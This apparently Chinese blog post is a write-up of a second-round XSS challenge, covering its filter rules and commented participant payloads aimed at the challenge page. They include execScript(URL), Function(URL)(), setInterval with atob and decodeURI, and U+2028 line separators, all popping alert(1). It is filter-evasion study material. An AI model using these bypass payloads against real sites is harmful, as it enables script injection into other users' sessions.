mramydnei · 2014/02/16 12:01

0x00前言


之前搞了一期感觉反响挺好的,就又搞了一期。不过说实话审核起来很吃力,因为大家的答案都太给力了。所以在接下来的解释文当中如果出现错误,希望各位看官可以不吝指正。可能参与的人,都发现了这期的核心问题就是【没有了”.”我们应该如何去XSS?】。如果有人有心去谷歌过这个问题,应该会在sla.ckers.org/forum/read.…这个链接里,找到答案。

#!javascript
with(location)with(hash)eval(substring(1))

作者在指定的代码区域内,使用with来实现了通过节点名称的对象调用。当然,如果问题只是这样的话,我相信大家会有很多的方案。所以为了增加点难度,我在上次的过滤规则上又过滤一些比较常用的手段。

0x01设定


(1) 过滤了所有的

#  \ < vbscript > ' 空格+on alert innerHTML document appenChild createElement src write String eval setTimeout unescape data javascript name ; window * 空格 TAB 0x0A 0x0C 0x0D prompt confirm MsgBox find print - vbs  location / urldecode [ ] . 0x00  $ jQuery +

(2)过滤了第二个

" 和 =

可能有些规则和一般意义上的过滤代码有较大的出入,这个也是因为怕有人把这个游戏理解成廉价的WAF测试。>.<

0x02结果


这次是上次挑战的第一名/fd拿下了这次挑战的First Blood。

#!html
<meta http-equiv="X-UA-Compatible" content="IE=9">
<iframe src=http://techni.duapp.com/challenge/index.php?xss=%22onblur=`execScript(URL)`#&#x2028;alert(1)></iframe>

这应该算是集合了很多IE特色的答案。用到了兼容模式,来让最新版的IE支持这个反引号的使用,提高了XSS代码的兼容性也避免了因后面语句的修复所带来的长度问题。还有就是这个execScript在我的理解当中应该是和eval()拥有几乎相同的功能的一个IE特色方法。可能和eval最大的区别就是execScript的作用域非当前域,而是全局作用域吧。然后就是这个#&#x2028;可能一部分人不是特别熟悉,如果你有阅读过ECMAscript规范,那么你应该会发现除了0x0A/0x0D以外U+2028/2029也可以作为换行符来使用。

来自/fd的另一份答案:

#!html
<meta http-equiv="X-UA-Compatible" content="IE=9">
<iframe src=http://techni.duapp.com/challenge/index.php?xss=%22onblur=execScript(URL)%0b#&#x2028;alert(1)></iframe>

放弃了使用反引号,而使用0x0b进一步的缩减了一个字符。

来自Sogili的答案:

#!html
<iframe src="http://techni.duapp.com/challenge/index.php?xss=%22oncut=setInterval(URL)%%26quot#&#8232;alert(1)"></iframe><iframe src="http://techni.duapp.com/challenge/index.php?xss=%22oncut=`setInterval(URL)`#&#8232;alert(1)"></iframe><iframe src="http://techni.duapp.com/challenge/index.php?xss=%22oncut%3D%60Function%28URL%29%28%29%60#&#x2028;alert(1)"></iframe>

Sogili在第一个答案中选择了使用%+&quot的方式保证了后面语句的正确性。当然如果没有特殊限制,还有一些其它的逻辑运算符可以起到相同的作用(加减乘除和一些其它的符号)。然后就是这个setIterval函数,总体来说可能和setTimeout会有点相似。大的区别就在于eval会在指定的时间过后执行一次相对应的字符串的内容。而setIterval会在每经过设定的时间后都执行一次相对应的字符串。和/fd不同的是选择了&#8232来代替空白字符,最后巧妙地使用Function(URL)()(新建匿名函数并执行它的方式)完成了挑战。(看了几次没看懂,最后请教了一下二哥= =)

来自gainover的答案:

#!html
<script>
    location.href='http://techni.duapp.com/challenge/index.php?xss="onblur=Function(URL)()%%26quot#\u2028alert(1)';
    </script><script>
    location.href='http://techni.duapp.com/challenge/index.php?xss="oncut=Function(URL)%%26quot#\u20281},alert(1),{';
    </script> //测试于chrome26

和Sogili的最后一个答案大相径庭。

来自Retaker非常水的答案:

http://techni.duapp.com/challenge/index.php?xss=%22oncut%3DsetInterval%28value%29%2C%26quot

有人说这个和自己在地址栏输入javascript:alert(1)也差不多了。其实包括提交者和我也这么认为。但是因为参与的人实在太少了,就算上了。不过有另外一个同学很巧秒的利用了这个value。

来自8qwe24657913的答案:

http://techni.duapp.com/challenge/index.php?xss=YWxlcnQoKzEp%22oncut%3Dnew%28Function%29%28atob%28value%29%29%28%29%2C%26quothttp://techni.duapp.com/challenge/index.php?xss=al%2565rt%283%265%29%22oncut%3Dnew%28Function%29%28decodeURI%28value%29%29%28%29%2C%26quot)http://techni.duapp.com/challenge/index.php?xss=YWxlcnQoKzEp%22oncut%3DsetInterval%28atob%28value%29%29%2C%26quothttp://techni.duapp.com/challenge/index.php?xss=YWxlcnQoMSk%22oncut%3DsetInterval%28atob%28value%29%29%2C%26quot<iframe src="http://techni.duapp.com/challenge/index.php?xss=%22oncut=execScript(opener),%26quot" onload="contentWindow.opener='alert(1)'"></iframe> //http://techni.duapp.com/challenge/index.php?xss=%22oncut=with(URL)execScript(slice(96)),%26quot#alert(1)http://techni.duapp.com/challenge/index.php?xss=%22oncut=with(URL)setInterval(slice(97)),%26quot#alert(1)http://techni.duapp.com/challenge/index.php?xss=%22oncut=with(URL)with(top)open(slice(0x65)),%26quot#javascript:opener.alert(1)

http://techni.duapp.com/challenge/index.php?xss=afterEnd%22oncut%3DinsertAdjacentHTML%28value%2CURL%29%2C%26quot#<img/src=1 onerror=alert(1)> http://techni.duapp.com/challenge/index.php?xss=%22oncut=with(URL)with(top)open(slice(0x65)),%26quot#javascript:opener.alert(1)http://techni.duapp.com/challenge/index.php?xss=al%2565rt%283%265%29%22oncut%3DsetInterval%28decodeURI%28value%29%29%2C%26quothttp://techni.duapp.com/challenge/index.php?xss=al0ert%283%265%29%22oncut%3Dwith%28value%29setInterval%28replace%280%2Cid%29%29%2C%26quothttp://techni.duapp.com/challenge/index.php?xss=oncutYWxlcnQoMSk%22oncut%3Dwith%28value%29setAttribute%28slice%280%2C5%29%2Catob%28slice%285%29%29%2C%26quot

其中的一个答案用到了一个很老的IE Opener BUG。还有一个小亮点就是,多处用到了xss攻击中出场率不是很高的base64解码函数atob()。由于提交的答案实在是太多,我就不一一解释了,感兴趣的同学可以自己亲手试一下。

来自StarMoon的答案:

http://techni.duapp.com/challenge/index.php?xss=%22oncut=with(URL)execScript(slice(98))%25%26quot#alert(1)

很中规中矩的答案,用with避免了”.”的使用,通过execScript来执行URL.slice(98)也就是#后面的alert(1)。

来自Dun的答案:

http://techni.duapp.com/challenge/index.php?xss="oncut%3DsetInterval%28decodeURI%28%26quot%2520aler%2574%28%29%26quot%29%29%7C%26quot

结合setInterval和decodeURI执行了部分二次URL编码后的alert(),最后再用|&quot修复了后面语句的正确性,完成了挑战。

0x03 写在最后


因为个人水平有限,可能挑战的内容做的不是很好。和实际场景相比有一些出入。如果你觉得这些答案都很有趣并想对上面的方法进行测试,可能需要你付出一点点的耐心。因为,所使用的浏览器的不同,版本的不同,系统补丁的不同等缘故可能会有无法重现的情况发生。

附上此次比赛的源代码:XSSC2.zip

XSS挑战第二期 Writeup相关推荐

  1. Xss挑战之旅writeup

    Level_1 输入点在url中,反射型 payload: http://118.89.167.246:2503/xss-game/level1.php?name=<script>aler ...

  2. XSS平台 XSS挑战之旅 解题记录 writeup

    XSS平台 XSS挑战之旅 解题记录 writeup level1 level2 level3 level4 level5 level6 level7 level8 level9 level10 le ...

  3. XSS学习-XSS挑战之旅(二)

    前言:之前打XSS平台时,打到了第11关就没有继续了,现在有空了就继续打咯,再增加点关于XSS的知识. 第十一关 这关坑我好长时间,看了好多博客直接给说修改Referer,给截图中都有自带的Refer ...

  4. exif viewer java,1earn/XSS挑战-WalkThrough.md at master · dizhaung/1earn · GitHub

    XSS挑战-WalkThrough 免责声明 本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关. 知识点 无过滤 XSS (level 1) 各种难度 ...

  5. Docker下搭建XSS挑战之旅靶场

    我是在centos7下使用docker搭建xss挑战之旅靶场 一.先安装下docker容器 1.安装需要的软件包, yum-util 提供yum-config-manager功能,另两个是device ...

  6. XSS挑战之旅---游戏通关攻略

    最近发现一个有趣的XSS闯关小游戏,游戏的作者是先知社区的大佬Mramydnei,喜欢XSS的大家可以一起来学习交流. 现在我把自己在前面的十八关里面的闯关过程记录一下,大神绕行,我是菜鸟,大家可以一 ...

  7. XSS挑战之旅 解题记录

    本文记录xss挑战解题,检验自己的xss技术 题目链接 Level1 链接为http://test.xss.tv/level1.php?name=test 页面没有输入点 直接构造payloadnam ...

  8. 从xss挑战之旅来重读xss(一)

    在开始这篇文章之前,先简单聊几句: xss很多时候是鸡肋,比如说self-xss 很多厂商都会注明拒收反射xss,如58src 遇到请证明危害性的说法就走,人家的潜台词也是拒收反射xss 遇到收反射x ...

  9. ubuntu使用docker搭建xss挑战之旅环境

    ubuntu使用docker搭建xss挑战之旅环境 (1)启动docker docker systemctl start docker (2)下载docker-compose部署容器 git clon ...

最新文章

  1. 链家租房信息案例数据分析
  2. Docker环境下Java应用的最大内存和堆内存的设置
  3. windows server 2012 FTP 服务器 / 创建服务器
  4. php中数组的数组元素最多出现2次,出现3次了就把第三次的数组元素去掉
  5. NOIP2020洛谷P7115:移球游戏(分治)
  6. Git版本控制常见操作
  7. Springboot启动报错Error handling failed
  8. linux redis 安装部署,Linux Redis安装部署
  9. broker druid 查询_即时查询工具| Druid
  10. Java内部类定义与调用
  11. 【读PPT】管中窥豹:用大数据洞察“用户画像”的秘密!
  12. [转] eclipse安装subversive插件
  13. 那人立在侧边 水浒传
  14. 服务器搭建免流系统,国内服务器搭建免流
  15. 蒲公英wifi怎么卸载干净_蒲公英wifi怎么卸载干净
  16. MySQL自动更新当前时间戳
  17. 浅谈PING指令的使用
  18. 共话5G安全,开源网安亮相第31届中国国际信息通信展览会
  19. 中国49城市智慧程度排行榜:新一线城市武汉和杭州靠前
  20. 计算机中文速记四级在哪里考试,计算机中文速记员国家标准要求

热门文章

  1. [附源码]JAVA+ssm企业员工考勤管理系统(程序+Lw)
  2. 益阳安化云台山风景区,周末去亲子游——湘中第一条玻璃栈道
  3. ReentrantLock中公平锁和非公平锁的区别
  4. IE11浏览器js加载数据不显示问题的解决
  5. 中午吃啥 模拟抽奖小程序
  6. Rmarkdown中文实现
  7. 优美的口琴曲:电视剧海滩的插曲
  8. extjs资源库管理平台 2013.6.15-电子书库
  9. SAP MB52库存报表显示格式调整
  10. [LaTeX] 同时调整文字的背景颜色和文字颜色 (像MarkDown语法一样高亮显示代码)(附完整代码)